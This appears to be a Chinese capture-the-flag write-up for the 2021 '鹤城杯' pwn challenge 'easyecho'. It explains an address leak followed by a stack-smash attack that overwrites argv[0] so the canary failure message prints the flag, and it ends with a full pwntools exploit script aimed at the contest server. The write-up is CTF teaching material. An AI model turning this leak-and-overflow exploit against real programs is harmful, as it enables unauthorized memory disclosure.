[2021 鹤城杯]easyecho wp

*此题未实际用到rbp寄存器,猜测是rsp寻址
64位stack smash题目,保护全开,主函数中存在gets()可以栈溢出

而本题存在__stack_chk_fail,并且sub_CF0函数可以将flag读入到偏移为0x202040处,意味着可以利用stack smash泄露出flag

则我们可以考虑泄露程序基地址从而获取flag_addr,再通过stack smash将flag打印出来
此时第一次输入限制长度为16 bytes,可以输入泄露函数内存地址在减去高位偏移获取程序基址

然后输入backdoor将flag读入
接下来定位__libc_argv[0]所在位置,它作为指针指向内存地址可以作为我们stack smash利用的关键,再通过发生溢出的位置与它的偏移确定垃圾数据长度,但是此题gdb动态调试时确定溢出点时发现$rbp-0x88地址偏了十万八千里,需要通过$rsp+0x20来获取溢出点地址,猜测此题可能是rsp寻址

不过此题本地调试测出来offset是0x178,与远端0x168不符,原因暂时还没搞懂😿
另外此题只有再次输入'exitexit'才能结束循环

exp:

from pwn import*
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./easyecho")
io=remote("1.14.71.254",28981)

io.recvuntil(b": ")
payload=b"a"*15+b"b"
io.sendline(payload)
io.recvuntil(b"b")

base_addr=u64(io.recv(6).ljust(8,b"\x00"))-0xcf0
print("base_addr  "+hex(base_addr))

# gdb.attach(io)
# pause()

io.recvuntil(b"Input: ")
io.sendline(b"backdoor")

flag_addr=base_addr+0x202040
payload=cyclic(0x168)+p64(flag_addr)
io.recvuntil(b"Input: ")
io.sendline(payload)

io.recvuntil(b"Input: ")
io.sendline(b"exitexit")

io.interactive()